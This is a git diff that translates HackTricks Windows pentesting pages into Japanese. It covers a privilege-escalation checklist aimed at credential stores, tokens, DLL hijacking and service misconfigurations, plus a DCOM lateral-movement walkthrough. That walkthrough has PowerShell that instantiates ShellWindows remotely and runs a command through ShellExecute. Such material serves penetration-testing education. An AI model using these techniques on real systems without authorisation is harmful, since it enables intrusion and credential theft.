user **privileges**](windows-local-privilege-escalation/#users-and-groups) -* [ ] Are you [**member of any privileged group**](windows-local-privilege-escalation/#privileged-groups)? -* [ ] Check if you have [any of these tokens enabled](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -* [ ] [**Users Sessions**](windows-local-privilege-escalation/#logged-users-sessions)? -* [ ] Check[ **users homes**](windows-local-privilege-escalation/#home-folders) (access?) -* [ ] Check [**Password Policy**](windows-local-privilege-escalation/#password-policy) -* [ ] What is[ **inside the Clipboard**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? +* [ ] [**監査**](windows-local-privilege-escalation/#audit-settings)と[**WEF**](windows-local-privilege-escalation/#wef)の設定をチェックする +* [ ] [**LAPS**](windows-local-privilege-escalation/#laps)をチェックする +* [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest)が有効かどうかをチェックする +* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)をチェックする +* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)をチェックする +* [ ] [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)をチェックする +* [ ] いずれかの[**AV**](windows-av-bypass)があるかどうかをチェックする +* [ ] [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)をチェックする +* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)をチェックする +* [ ] [**ユーザー特権**](windows-local-privilege-escalation/#users-and-groups)をチェックする +* [ ] [**現在の**ユーザーの**特権**](windows-local-privilege-escalation/#users-and-groups)をチェックする +* [ ] 特権のあるグループのメンバーですか?[**特権のあるグループ**](windows-local-privilege-escalation/#privileged-groups)のメンバーですか? +* [ ] これらのトークンのいずれかが有効になっているかどうかをチェックする:**SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege** ? +* [ ] [**ユーザーセッション**](windows-local-privilege-escalation/#logged-users-sessions)をチェックする +* [ ] [**ユーザーのホームフォルダ**](windows-local-privilege-escalation/#home-folders)をチェックする(アクセス可能か?) +* [ ] [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)をチェックする +* [ ] [**クリップボードの内容**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は何ですか? -### [Network](windows-local-privilege-escalation/#network) +### [ネットワーク](windows-local-privilege-escalation/#network) -* [ ] Check **current** [**network** **information**](windows-local-privilege-escalation/#network) -* [ ] Check **hidden local services** restricted to the outside +* [ ] **現在の**[**ネットワーク情報**](windows-local-privilege-escalation/#network)をチェックする +* [ ] 外部に制限された**非表示のローカルサービス**をチェックする -### [Running Processes](windows-local-privilege-escalation/#running-processes) +### [実行中のプロセス](windows-local-privilege-escalation/#running-processes) -* [ ] Processes binaries [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions) -* [ ] [**Memory Password mining**](windows-local-privilege-escalation/#memory-password-mining) -* [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/#insecure-gui-apps) +* [ ] プロセスのバイナリの[**ファイルとフォルダのアクセス権**](windows-local-privilege-escalation/#file-and-folder-permissions)をチェックする +* [ ] [**メモリパスワードの収集**](windows-local-privilege-escalation/#memory-password-mining)を行う +* [ ] [**安全でないGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)をチェックする +### [サービス](windows-local-privilege-escalation/#services) -### [Services](windows-local-privilege-escalation/#services) +* [ ] どのサービスでも**変更**できますか?(windows-local-privilege-escalation#permissions) +* [ ] どのサービスでも**実行される**バイナリを**変更**できますか?(windows-local-privilege-escalation/#modify-service-binary-path) +* [ ] どのサービスでも**レジストリ**を**変更**できますか?(windows-local-privilege-escalation/#services-registry-modify-permissions) +* [ ] **クォートされていないサービス**のバイナリ**パス**を利用できますか?(windows-local-privilege-escalation/#unquoted-service-paths) -* [ ] [Can you **modify any service**?](windows-local-privilege-escalation#permissions) -* [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/#modify-service-binary-path) -* [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/#services-registry-modify-permissions) -* [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/#unquoted-service-paths) +### [**アプリケーション**](windows-local-privilege-escalation/#applications) -### [**Applications**](windows-local-privilege-escalation/#applications) +* [ ] インストールされたアプリケーションの**書き込み**[**権限**](windows-local-privilege-escalation/#write-permissions) +* [ ] [**起動時のアプリケーション**](windows-local-privilege-escalation/#run-at-startup) +* [ ] **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers) -* [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/#write-permissions) -* [ ] [**Startup Applications**](windows-local-privilege-escalation/#run-at-startup) -* [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/#drivers) +### [DLLハイジャッキング](windows-local-privilege-escalation/#path-dll-hijacking) -### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) +* [ ] **PATH内の任意のフォルダに書き込む**ことができますか? +* [ ] **存在しないDLL**を読み込もうとする既知のサービスバイナリはありますか? +* [ ] **バイナリフォルダ**に**書き込む**ことができますか? -* [ ] Can you **write in any folder inside PATH**? -* [ ] Is there any known service binary that **tries to load any non-existant DLL**? -* [ ] Can you **write** in any **binaries folder**? +### [ネットワーク](windows-local-privilege-escalation/#network) -### [Network](windows-local-privilege-escalation/#network) +* [ ] ネットワークを列挙します(共有、インターフェース、ルート、隣接者、...) +* [ ] ローカルホスト(127.0.0.1)でリッスンしているネットワークサービスに特別な注意を払います -* [ ] Enumerate the network (shares, interfaces, routes, neighbours, ...) -* [ ] Take a special look at network services listening on localhost (127.0.0.1) +### [Windowsの資格情報](windows-local-privilege-escalation/#windows-credentials) -### [Windows Credentials](windows-local-privilege-escalation/#windows-credentials) +* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)の資格情報 +* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の利用可能な資格情報はありますか? +* [ ] 興味深い[**DPAPIの資格情報**](windows-local-privilege-escalation/#dpapi)はありますか? +* [ ] 保存された[**Wifiネットワークのパスワード**](windows-local-privilege-escalation/#wifi)はありますか? +* [ ] [**保存されたRDP接続**](windows-local-privilege-escalation/#saved-rdp-connections)に興味深い情報はありますか? +* [ ] 最近実行されたコマンドの中にパスワードはありますか?(windows-local-privilege-escalation/#recently-run-commands) +* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードはありますか? +* [ ] [**AppCmd.exe**が存在しますか](windows-local-privilege-escalation/#appcmd-exe)?資格情報はありますか? +* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)?DLLサイドローディング? -* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)credentials -* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) credentials that you could use? -* [ ] Interesting [**DPAPI credentials**](windows-local-privilege-escalation/#dpapi)? -* [ ] Passwords of saved [**Wifi networks**](windows-local-privilege-escalation/#wifi)? -* [ ] Interesting info in [**saved RDP Connections**](windows-local-privilege-escalation/#saved-rdp-connections)? -* [ ] Passwords in [**recently run commands**](windows-local-privilege-escalation/#recently-run-commands)? -* [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager) passwords? -* [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/#appcmd-exe)? Credentials? -* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading? +### [ファイルとレジストリ(資格情報)](windows-local-privilege-escalation/#files-and-registry-credentials) -### [Files and Registry (Credentials)](windows-local-privilege-escalation/#files-and-registry-credentials) +* [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **および** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys) +* [ ] レジストリに[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)はありますか? +* [ ] [**未承認ファイル**](windows-local-privilege-escalation/#unattended-files)のパスワードはありますか? +* [ ] いずれかの[**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか? +* [ ] [**クラウドの資格情報**](windows-local-privilege-escalation/#cloud-credentials)はありますか? +* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルはありますか? +* [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)はありますか? +* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)のパスワードはありますか? +* [ ] [**Webログ**](windows-local-privilege-escalation/#logs)に興味深い情報はありますか? +* [ ] ユーザーに[**資格情報を要求**](windows-local-privilege-escalation/#ask-for-credentials)しますか? +* [ ] [**ゴミ箱内の興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか? +* [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)はありますか? +* [ ] [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)(dbs、履歴、ブックマークなど)の中に興味深い情報はありますか? +* [ ] ファイルとレジストリでの[**一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) +* [ ] パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)はありますか? -* [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys) -* [ ] [**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)? -* [ ] Passwords in [**unattended files**](windows-local-privilege-escalation/#unattended-files)? -* [ ] Any [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) backup? -* [ ] [**Cloud credentials**](windows-local-privilege-escalation/#cloud-credentials)? -* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) file? -* [ ] [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)? -* [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/#iis-web-config)? -* [ ] Interesting info in [**web** **logs**](windows-local-privilege-escalation/#logs)? -* [ ] Do you want to [**ask for credentials**](windows-local-privilege-escalation/#ask-for-credentials) to the user? -* [ ] Interesting [**files inside the Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)? -* [ ] Other [**registry containing credentials**](windows-local-privilege-escalation/#inside-the-registry)? -* [ ] Inside [**Browser data**](windows-local-privilege-escalation/#browsers-history) (dbs, history, bookmarks, ...)? -* [ ] [**Generic password search**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) in files and registry -* [ ] [**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords) to automatically search for passwords +### [漏洩したハンドラ](windows-local-privilege-escalation/#leaked-handlers) -### [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers) +* [ ] 管理者が実行したプロセスのハンドラにアクセスできますか? -* [ ] Have you access to any handler of a process run by administrator? +### [パイプクライアントの擬似化](windows-local-privilege-escalation/#named-pipe-client-impersonation) -### [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation) - -* [ ] Check if you can abuse it +* [ ] 乱用できるかどうかを確認します
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[** diff --git a/windows-hardening/lateral-movement/README.md b/windows-hardening/lateral-movement/README.md index d1f98d12e..d90c16e78 100644 --- a/windows-hardening/lateral-movement/README.md +++ b/windows-hardening/lateral-movement/README.md @@ -1,18 +1,18 @@ -# Lateral Movement +# 横方向移動
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-There are different different ways to execute commands in external systems, here you can find the explanations on how the main Windows lateral movements techniques work: +外部システムでコマンドを実行するためのさまざまな方法があります。ここでは、主要なWindowsの横方向移動技術の動作について説明します。 * [**PsExec**](../ntlm/psexec-and-winexec.md) * [**SmbExec**](../ntlm/smbexec.md) @@ -20,9 +20,9 @@ There are different different ways to execute commands in external systems, here * [**AtExec / SchtasksExec**](../ntlm/atexec.md) * [**WinRM**](../ntlm/winrm.md) * [**DCOM Exec**](dcom-exec.md) -* ****[**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) **** (cloud) -* ****[**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) **** (cloud) -* [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) +* ****[**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) **** (クラウド) +* ****[**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) **** (クラウド) +* [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (クラウド)
diff --git a/windows-hardening/lateral-movement/dcom-exec.md b/windows-hardening/lateral-movement/dcom-exec.md index 80d3c115a..037495800 100644 --- a/windows-hardening/lateral-movement/dcom-exec.md +++ b/windows-hardening/lateral-movement/dcom-exec.md @@ -4,114 +4,104 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。。
## MMC20.Application -**DCOM** (Distributed Component Object Model) objects are **interesting** due to the ability to **interact** with the objects **over the network**. Microsoft has some good documentation on DCOM [here](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and on COM [here](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). You can find a solid list of DCOM applications using PowerShell, by running `Get-CimInstance Win32_DCOMApplication`. +**DCOM**(分散コンポーネントオブジェクトモデル)オブジェクトは、オブジェクトを**ネットワーク上で相互作用**させる能力があるため、**興味深い**です。Microsoftは、DCOMに関する良いドキュメントを[こちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)で、COMに関するドキュメントを[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)で提供しています。PowerShellを使用して、`Get-CimInstance Win32_DCOMApplication`を実行することで、DCOMアプリケーションの一覧を取得できます。 -The [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named `ExecuteShellCommand` under Document.ActiveView. +[MMC Application Class(MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COMオブジェクトは、MMCスナップイン操作のコンポーネントをスクリプト化することができます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙している間、Document.ActiveViewの下に`ExecuteShellCommand`というメソッドがあることに気付きました。 ![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) -You can read more on that method [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host. +このメソッドについては[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で詳しく説明されています。これまでに、ネットワーク経由でアクセスできるDCOMアプリケーションでコマンドを実行できるようになりました。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを利用して、リモートホストでコードを実行することです。 -Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “`[activator]::CreateInstance([type]::GetTypeFromProgID`”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely: +幸いなことに、管理者として、PowerShellを使用してDCOMとリモートで対話することができます。`[activator]::CreateInstance([type]::GetTypeFromProgID`を使用するだけで、DCOM ProgIDとIPアドレスを指定する必要があります。それによって、リモートでそのCOMオブジェクトのインスタンスが提供されます。 ![](<../../.gitbook/assets/image (665).png>) -It is then possible to invoke the `ExecuteShellCommand` method to start a process on the remote host: +その後、`ExecuteShellCommand`メソッドを呼び出して、リモートホストでプロセスを開始することができます。 ![](<../../.gitbook/assets/image (1) (4) (1).png>) -## ShellWindows & ShellBrowserWindow +## ShellWindows&ShellBrowserWindow -The **MMC20.Application** object lacked explicit “[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)”, resulting in the default permission set allowing Administrators access: +**MMC20.Application**オブジェクトには明示的な「[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)」がなく、デフォルトの許可セットでは管理者がアクセスできるようになっています。 ![](<../../.gitbook/assets/image (4) (1) (2).png>) -You can read more on that thread [here](https://twitter.com/tiraniddo/status/817532039771525120).\ -Viewing which other objects that have no explicit LaunchPermission set can be achieved using [@tiraniddo](https://twitter.com/tiraniddo)’s [OleView .NET](https://github.com/tyranid/oleviewdotnet), which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: `ShellBrowserWindow` and `ShellWindows`: +このスレッドの詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)をご覧ください。\ +明示的なLaunchPermissionが設定されていない他のオブジェクトを表示するには、[@tiraniddo](https://twitter.com/tiraniddo)の[OleView .NET](https://github.com/tyranid/oleviewdotnet)を使用することができます。このツールには、優れたPythonフィルターなどがあります。この場合、明示的なLaunch Permissionがないすべてのオブジェクトに絞り込むことができます。そうすると、`ShellBrowserWindow`と`ShellWindows`という2つのオブジェクトが目立ちます。 ![](<../../.gitbook/assets/image (3) (1) (1) (2).png>) -Another way to identify potential target objects is to look for the value `LaunchPermission` missing from keys in `HKCR:\AppID\{guid}`. An object with Launch Permissions set will look like below, with data representing the ACL for the object in Binary format: +潜在的なターゲットオブジェクトを特定する別の方法は、`HKCR:\AppID\{guid}`のキーから値`LaunchPermission`が欠落しているかどうかを確認することです。Launch Permissionsが設定されているオブジェクトは、以下のようになります。データはオブジェクトのACLをバイナリ形式で表しています。 ![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169) -Those with no explicit LaunchPermission set will be missing that specific registry entry. +明示的なLaunchPermissionが設定されていないオブジェクトは、特定のレジストリエントリが欠落している状態になります。 ### ShellWindows -The first object explored was [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx). Since there is no [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) associated with this object, we can use the [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET method paired with the[ Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) method to instantiate the object via its AppID on a remote host. In order to do this, we need to get the [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) for the ShellWindows object, which can be accomplished using OleView .NET as well: +最初に調査されたオブジェクトは[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)です。このオブジェクトには[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx)が関連付けられていないため、[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NETメソッドと[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)メソッドを使用して、リモートホスト上のAppIDを介してオブジェクトをインスタンス化することができます。これを行うためには、ShellWindowsオブジェクトの[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)を取得する必要があります。これはOleView .NETを使用して行うこともできます。 ![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424) -As you can see below, the “Launch Permission” field is blank, meaning no explicit permissions are set. - -![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401) - -Now that we have the CLSID, we can instantiate the object on a remote target: +以下のように、「Launch Permission」フィールドが空白であることがわかります。つまり、明示的な許可が設定されていません。 +![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png ```powershell $com = [Type]::GetTypeFromCLSID("", "") #9BA05972-F6A8-11CF-A442-00A0C90A8F39 $obj = [System.Activator]::CreateInstance($com) ``` - ![](https://enigma0x3.files.wordpress.com/2017/01/remote\_instantiation\_shellwindows.png?w=690\&h=354) -With the object instantiated on the remote host, we can interface with it and invoke any methods we want. The returned handle to the object reveals several methods and properties, none of which we can interact with. In order to achieve actual interaction with the remote host, we need to access the [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx) method, which will give us back an object that represents the Windows shell window: - +リモートホスト上でオブジェクトがインスタンス化されると、それに対してインターフェースを作成し、任意のメソッドを呼び出すことができます。オブジェクトへの返されたハンドルには、いくつかのメソッドとプロパティが表示されますが、それらとは対話することはできません。実際にリモートホストと対話するためには、[WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx) メソッドにアクセスする必要があります。このメソッドは、Windowsシェルウィンドウを表すオブジェクトを返します。 ``` $item = $obj.Item() ``` - ![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465) -With a full handle on the Shell Window, we can now access all of the expected methods/properties that are exposed. After going through these methods, **`Document.Application.ShellExecute`** stood out. Be sure to follow the parameter requirements for the method, which are documented [here](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx). - +シェルウィンドウを完全に制御できるようになったので、公開されているすべての予想されるメソッド/プロパティにアクセスできます。これらのメソッドを調べた結果、**`Document.Application.ShellExecute`** が目立ちました。メソッドのパラメータ要件に従うようにしてください。パラメータ要件は[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)でドキュメント化されています。 ```powershell $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) ``` - ![](https://enigma0x3.files.wordpress.com/2017/01/shellwindows\_command\_execution.png?w=690\&h=426) -As you can see above, our command was executed on a remote host successfully. +上記のように、私たちのコマンドはリモートホストで正常に実行されました。 ### ShellBrowserWindow -This particular object does not exist on Windows 7, making its use for lateral movement a bit more limited than the “ShellWindows” object, which I tested on Win7-Win10 successfully. +この特定のオブジェクトはWindows 7に存在せず、Win7-Win10で成功裏にテストされた「ShellWindows」オブジェクトよりも、横方向の移動に対する使用範囲が制限されています。 -Based on my enumeration of this object, it appears to effectively provide an interface into the Explorer window just as the previous object does. To instantiate this object, we need to get its CLSID. Similar to above, we can use OleView .NET: +このオブジェクトの列挙に基づいて、前のオブジェクトと同様にエクスプローラウィンドウへのインターフェースを効果的に提供しているようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます。 